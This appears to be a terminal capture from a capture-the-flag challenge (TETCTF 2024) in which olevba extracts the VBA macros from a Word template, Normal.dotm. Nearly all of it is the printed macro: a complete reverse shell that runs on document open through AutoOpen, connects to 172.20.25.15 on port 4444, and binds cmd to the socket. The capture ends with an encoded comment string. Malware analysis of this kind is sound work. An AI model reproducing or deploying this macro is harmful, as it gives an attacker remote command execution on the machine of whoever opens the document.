┌──(kali㉿kali)-[~/Desktop/Random_Shit/TETCTF-2024-20240126-203010]
└─$ olevba Normal.dotm --decode
XLMMacroDeobfuscator: pywin32 is not installed (only is required if you want to use MS Excel)
olevba 0.60.1 on Python 3.11.6 - http://decalage.info/python/oletools
===============================================================================
FILE: Normal.dotm
Type: OpenXML
WARNING For now, VBA stomping cannot be detected for files in memory
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VBA MACRO ThisDocument.cls
in file: word/vbaProject.bin - OLE stream: 'VBA/ThisDocument'
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(empty macro)
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VBA MACRO NewMacros.bas
in file: word/vbaProject.bin - OLE stream: 'VBA/NewMacros'
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'Coppy
Const ip = "172.20.25.15"
Const port = "4444"
Const INVALID_SOCKET = -1
Const WSADESCRIPTION_LEN = 256
Const SOCKET_ERROR = -1
Private Type WSADATA
wVersion As Integer
wHighVersion As Integer
szDescription(0 To WSADESCRIPTION_LEN) As Byte
szSystemStatus(0 To WSADESCRIPTION_LEN) As Byte
iMaxSockets As Integer
iMaxUdpDg As Integer
lpVendorInfo As Long
End Type
Private Type ADDRINFO
ai_flags As Long
ai_family As Long
ai_socktype As Long
ai_protocol As Long
ai_addrlen As Long
ai_canonName As LongPtr
ai_addr As LongPtr
ai_next As LongPtr
End Type
Private Type STARTUPINFOA
cb As Long
lpReserved As String
lpDesktop As String
lpTitle As String
dwX As Long
dwY As Long
dwXSize As Long
dwYSize As Long
dwXCountChars As Long
dwYCountChars As Long
dwFillAttribute As Long
dwFlags As Long
wShowWindow As Integer
cbReserved2 As Integer
lpReserved2 As String
hStdInput As LongPtr
hStdOutput As LongPtr
hStdError As LongPtr
End Type
Private Type PROCESS_INFORMATION
hProcess As LongPtr
hThread As LongPtr
dwProcessId As Long
dwThreadId As Long
End Type
Enum af
AF_UNSPEC = 0
AF_INET = 2
AF_IPX = 6
AF_APPLETALK = 16
AF_NETBIOS = 17
AF_INET6 = 23
AF_IRDA = 26
AF_BTH = 32
End Enum
Enum sock_type
SOCK_STREAM = 1
SOCK_DGRAM = 2
SOCK_RAW = 3
SOCK_RDM = 4
SOCK_SEQPACKET = 5
End Enum
Private Declare PtrSafe Function WSAStartup Lib "ws2_32.dll" (ByVal wVersionRequested As Integer, ByRef data As WSADATA) As Long
Private Declare PtrSafe Function connect Lib "ws2_32.dll" (ByVal socket As LongPtr, ByVal SOCKADDR As LongPtr, ByVal namelen As Long) As Long
Private Declare PtrSafe Sub WSACleanup Lib "ws2_32.dll" ()
Private Declare PtrSafe Function GetAddrInfo Lib "ws2_32.dll" Alias "getaddrinfo" (ByVal NodeName As String, ByVal ServName As String, ByVal lpHints As LongPtr, lpResult As LongPtr) As Long
Private Declare PtrSafe Function closesocket Lib "ws2_32.dll" (ByVal socket As LongPtr) As Long
Private Declare PtrSafe Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
Private Declare PtrSafe Function WSAGetLastError Lib "ws2_32.dll" () As Long
Private Declare PtrSafe Function CreateProc Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, ByVal lpProcessAttributes As Any, ByVal lpThreadAttributes As Any, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, ByVal lpEnvironment As LongPtr, ByVal lpCurrentDirectory As String, lpStartupInfo As STARTUPINFOA, lpProcessInformation As PROCESS_INFORMATION) As LongPtr
Private Declare PtrSafe Sub ZeroMemory Lib "kernel32" Alias "RtlZeroMemory" (Destination As STARTUPINFOA, ByVal Length As Long)
Private Declare PtrSafe Function WSASocketA Lib "ws2_32.dll" (ByVal af As Long, ByVal t As Long, ByVal protocol As Long, lpProtocolInfo As Any, ByVal g As Long, ByVal dwFlags As Long) As Long
Function revShell()
Dim m_wsaData As WSADATA
Dim m_RetVal As Integer
Dim m_Hints As ADDRINFO
Dim m_ConnSocket As LongPtr: m_ConnSocket = INVALID_SOCKET
Dim pAddrInfo As LongPtr
Dim RetVal As Long
Dim lastError As Long
Dim iRC As Long
Dim MAX_BUF_SIZE As Integer: MAX_BUF_SIZE = 512
RetVal = WSAStartup(MAKEWORD(2, 2), m_wsaData)
If (RetVal <> 0) Then
MsgBox "WSAStartup failed with error " & RetVal, WSAGetLastError()
Call WSACleanup
Exit Function
End If
m_Hints.ai_family = af.AF_UNSPEC
m_Hints.ai_socktype = sock_type.SOCK_STREAM
RetVal = GetAddrInfo(ip, port, VarPtr(m_Hints), pAddrInfo)
If (RetVal <> 0) Then
MsgBox "Cannot resolve address " & ip & " and port " & port & ", error " & RetVal, WSAGetLastError()
Call WSACleanup
Exit Function
End If
m_Hints.ai_next = pAddrInfo
Dim connected As Boolean: connected = False
Do While m_Hints.ai_next > 0
CopyMemory m_Hints, ByVal m_Hints.ai_next, LenB(m_Hints)
m_ConnSocket = WSASocketA(m_Hints.ai_family, m_Hints.ai_socktype, m_Hints.ai_protocol, ByVal 0&, 0, 0)
If (m_ConnSocket = INVALID_SOCKET) Then
revShell = False
Else
Dim connectionResult As Long
connectionResult = connect(m_ConnSocket, m_Hints.ai_addr, m_Hints.ai_addrlen)
If connectionResult <> SOCKET_ERROR Then
connected = True
Exit Do
End If
closesocket (m_ConnSocket)
revShell = False
End If
Loop
If Not connected Then
revShell = False
RetVal = closesocket(m_ConnSocket)
Call WSACleanup
Exit Function
End If
Dim si As STARTUPINFOA
ZeroMemory si, Len(si)
si.cb = Len(si)
si.dwFlags = &H100
si.hStdInput = m_ConnSocket
si.hStdOutput = m_ConnSocket
si.hStdError = m_ConnSocket
Dim pi As PROCESS_INFORMATION
Dim worked As LongPtr
Dim test As Long
worked = CreateProc(vbNullString, "cmd", ByVal 0&, ByVal 0&, True, &H8000000, 0, vbNullString, si, pi)
revShell = worked
End Function
Public Function MAKEWORD(Lo As Byte, Hi As Byte) As Integer
MAKEWORD = Lo + Hi * 256& Or 32768 * (Hi > 127)
End Function
Sub AutoOpen()
Dim success As Boolean
success = revShell()
End Sub
'Vmxjd2VFNUhSa2RqUkZwVFZrWndTMVZ0ZUhkU1JsWlhWRmhvVldGNlZrbFdSM2hQVkd4R1ZVMUVhejA9
